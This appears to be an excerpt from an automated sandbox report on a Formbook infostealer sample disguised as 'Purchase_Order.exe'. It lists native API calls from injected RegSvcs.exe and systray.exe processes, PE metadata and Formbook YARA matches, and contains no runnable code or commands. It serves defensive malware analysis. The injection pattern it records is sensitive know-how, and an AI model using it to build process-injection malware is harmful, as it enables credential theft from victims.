Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041826A NtReadFile,	4_2_0041826A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_004182EE NtClose,	4_2_004182EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041839A NtAllocateVirtualMemory,	4_2_0041839A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	4_2_012B9910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B99A0 NtCreateSection,LdrInitializeThunk,	4_2_012B99A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9860 NtQuerySystemInformation,LdrInitializeThunk,	4_2_012B9860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9840 NtDelayExecution,LdrInitializeThunk,	4_2_012B9840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B98F0 NtReadVirtualMemory,LdrInitializeThunk,	4_2_012B98F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9A20 NtResumeThread,LdrInitializeThunk,	4_2_012B9A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9A00 NtProtectVirtualMemory,LdrInitializeThunk,	4_2_012B9A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9A50 NtCreateFile,LdrInitializeThunk,	4_2_012B9A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9540 NtReadFile,LdrInitializeThunk,	4_2_012B9540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B95D0 NtClose,LdrInitializeThunk,	4_2_012B95D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9710 NtQueryInformationToken,LdrInitializeThunk,	4_2_012B9710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B97A0 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_012B97A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9780 NtMapViewOfSection,LdrInitializeThunk,	4_2_012B9780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9FE0 NtCreateMutant,LdrInitializeThunk,	4_2_012B9FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9660 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_012B9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B96E0 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_012B96E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9950 NtQueueApcThread,	4_2_012B9950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B99D0 NtCreateProcessEx,	4_2_012B99D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9820 NtEnumerateKey,	4_2_012B9820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012BB040 NtSuspendThread,	4_2_012BB040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B98A0 NtWriteVirtualMemory,	4_2_012B98A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9B00 NtSetValueKey,	4_2_012B9B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012BA3B0 NtGetContextThread,	4_2_012BA3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9A10 NtQuerySection,	4_2_012B9A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9A80 NtOpenDirectoryObject,	4_2_012B9A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9520 NtWaitForSingleObject,	4_2_012B9520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012BAD30 NtSetContextThread,	4_2_012BAD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9560 NtWriteFile,	4_2_012B9560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B95F0 NtQueryInformationFile,	4_2_012B95F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9730 NtQueryVirtualMemory,	4_2_012B9730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012BA710 NtOpenProcessToken,	4_2_012BA710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9760 NtOpenProcess,	4_2_012B9760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9770 NtSetInformationFile,	4_2_012B9770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012BA770 NtOpenThread,	4_2_012BA770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9610 NtEnumerateValueKey,	4_2_012B9610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9670 NtQueryInformationProcess,	4_2_012B9670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B9650 NtQueryValueKey,	4_2_012B9650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012B96D0 NtCreateKey,	4_2_012B96D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA95D0 NtClose,LdrInitializeThunk,	16_2_04FA95D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9540 NtReadFile,LdrInitializeThunk,	16_2_04FA9540
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA96E0 NtFreeVirtualMemory,LdrInitializeThunk,	16_2_04FA96E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA96D0 NtCreateKey,LdrInitializeThunk,	16_2_04FA96D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9660 NtAllocateVirtualMemory,LdrInitializeThunk,	16_2_04FA9660
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9650 NtQueryValueKey,LdrInitializeThunk,	16_2_04FA9650
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9FE0 NtCreateMutant,LdrInitializeThunk,	16_2_04FA9FE0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9780 NtMapViewOfSection,LdrInitializeThunk,	16_2_04FA9780
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9710 NtQueryInformationToken,LdrInitializeThunk,	16_2_04FA9710
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9860 NtQuerySystemInformation,LdrInitializeThunk,	16_2_04FA9860
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9840 NtDelayExecution,LdrInitializeThunk,	16_2_04FA9840
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA99A0 NtCreateSection,LdrInitializeThunk,	16_2_04FA99A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9910 NtAdjustPrivilegesToken,LdrInitializeThunk,	16_2_04FA9910
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9A50 NtCreateFile,LdrInitializeThunk,	16_2_04FA9A50
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA95F0 NtQueryInformationFile,	16_2_04FA95F0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9560 NtWriteFile,	16_2_04FA9560
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FAAD30 NtSetContextThread,	16_2_04FAAD30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9520 NtWaitForSingleObject,	16_2_04FA9520
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9670 NtQueryInformationProcess,	16_2_04FA9670
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9610 NtEnumerateValueKey,	16_2_04FA9610
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA97A0 NtUnmapViewOfSection,	16_2_04FA97A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FAA770 NtOpenThread,	16_2_04FAA770
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9770 NtSetInformationFile,	16_2_04FA9770
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9760 NtOpenProcess,	16_2_04FA9760
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9730 NtQueryVirtualMemory,	16_2_04FA9730
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FAA710 NtOpenProcessToken,	16_2_04FAA710
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA98F0 NtReadVirtualMemory,	16_2_04FA98F0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA98A0 NtWriteVirtualMemory,	16_2_04FA98A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FAB040 NtSuspendThread,	16_2_04FAB040
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9820 NtEnumerateKey,	16_2_04FA9820
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA99D0 NtCreateProcessEx,	16_2_04FA99D0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9950 NtQueueApcThread,	16_2_04FA9950
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9A80 NtOpenDirectoryObject,	16_2_04FA9A80
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9A20 NtResumeThread,	16_2_04FA9A20
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9A10 NtQuerySection,	16_2_04FA9A10
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9A00 NtProtectVirtualMemory,	16_2_04FA9A00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FAA3B0 NtGetContextThread,	16_2_04FAA3B0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04FA9B00 NtSetValueKey,	16_2_04FA9B00
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D81C0 NtCreateFile,	16_2_010D81C0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D83A0 NtAllocateVirtualMemory,	16_2_010D83A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D8270 NtReadFile,	16_2_010D8270
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D82F0 NtClose,	16_2_010D82F0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D839A NtAllocateVirtualMemory,	16_2_010D839A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D826A NtReadFile,	16_2_010D826A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010D82EE NtClose,	16_2_010D82EE

Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_0291C2B0	0_2_0291C2B0
Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_029199A0	0_2_029199A0
Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_05E60040	0_2_05E60040
Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_05E667F9	0_2_05E667F9
Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_05E66808	0_2_05E66808
Source: C:\Users\user\Desktop\Purchase_Order.exe	Code function: 0_2_004F2050	0_2_004F2050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401030	4_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041B8F6	4_2_0041B8F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00401175	4_2_00401175
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00408C5C	4_2_00408C5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00408C60	4_2_00408C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0041C40A	4_2_0041C40A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00408C1A	4_2_00408C1A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402D8D	4_2_00402D8D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402D90	4_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00402FB0	4_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01294120	4_2_01294120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0127F900	4_2_0127F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012999BF	4_2_012999BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134E824	4_2_0134E824
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129A830	4_2_0129A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01331002	4_2_01331002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A20A0	4_2_012A20A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013420A8	4_2_013420A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128B090	4_2_0128B090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013428EC	4_2_013428EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01342B28	4_2_01342B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0129AB40	4_2_0129AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012AEBB0	4_2_012AEBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133DBD2	4_2_0133DBD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013303DA	4_2_013303DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0132FA2B	4_2_0132FA2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013422AE	4_2_013422AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01270D20	4_2_01270D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01342D07	4_2_01342D07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01341D55	4_2_01341D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_012A2581	4_2_012A2581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128D5E0	4_2_0128D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_013425DD	4_2_013425DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0128841F	4_2_0128841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133D466	4_2_0133D466
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01341FF1	4_2_01341FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0134DFCE	4_2_0134DFCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01296E30	4_2_01296E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_0133D616	4_2_0133D616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_01342EF7	4_2_01342EF7
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05032D07	16_2_05032D07
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05031D55	16_2_05031D55
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05022D82	16_2_05022D82
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8B477	16_2_04F8B477
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050325DD	16_2_050325DD
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7841F	16_2_04F7841F
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7D5E0	16_2_04F7D5E0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502D466	16_2_0502D466
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F92581	16_2_04F92581
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024496	16_2_05024496
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F60D20	16_2_04F60D20
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F86E30	16_2_04F86E30
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503DFCE	16_2_0503DFCE
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05031FF1	16_2_05031FF1
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502D616	16_2_0502D616
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05032EF7	16_2_05032EF7
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F920A0	16_2_04F920A0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F7B090	16_2_04F7B090
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8A830	16_2_04F8A830
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05021002	16_2_05021002
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0503E824	16_2_0503E824
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F899BF	16_2_04F899BF
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050320A8	16_2_050320A8
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F84120	16_2_04F84120
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050328EC	16_2_050328EC
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F6F900	16_2_04F6F900
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05032B28	16_2_05032B28
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0500CB4F	16_2_0500CB4F
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0502DBD2	16_2_0502DBD2
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050203DA	16_2_050203DA
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050123E3	16_2_050123E3
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9ABD8	16_2_04F9ABD8
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_0501FA2B	16_2_0501FA2B
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F9EBB0	16_2_04F9EBB0
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_050322AE	16_2_050322AE
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8AB40	16_2_04F8AB40
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_05024AEF	16_2_05024AEF
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_04F8A309	16_2_04F8A309
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010C2D8D	16_2_010C2D8D
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010C2D90	16_2_010C2D90
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010DC40A	16_2_010DC40A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010C8C1A	16_2_010C8C1A
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010C8C5C	16_2_010C8C5C
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010C8C60	16_2_010C8C60
Source: C:\Windows\SysWOW64\systray.exe	Code function: 16_2_010C2FB0	16_2_010C2FB0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: String function: 0127B150 appears 72 times
Source: C:\Windows\SysWOW64\systray.exe	Code function: String function: 04F6B150 appears 136 times

Source: Purchase_Order.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: Purchase_Order.exe	Binary or memory string: OriginalFilename vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000000.00000002.271664791.0000000007F50000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameKygo.dll* vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000000.00000002.272587457.0000000008220000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameDSASignature.dll@ vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000000.00000000.232767352.00000000005B6000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAsAnyMarshaler.exe6 vs Purchase_Order.exe
Source: Purchase_Order.exe, 00000000.00000002.271267830.0000000007EC0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs Purchase_Order.exe
Source: Purchase_Order.exe	Binary or memory string: OriginalFilenameAsAnyMarshaler.exe6 vs Purchase_Order.exe

Source: Purchase_Order.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.259944230.0000000003AD1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.320741403.0000000001210000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.504805498.0000000004D80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.501363256.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000010.00000002.505034491.0000000004DB0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.321348253.0000000001580000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000000.257791048.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.320281190.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
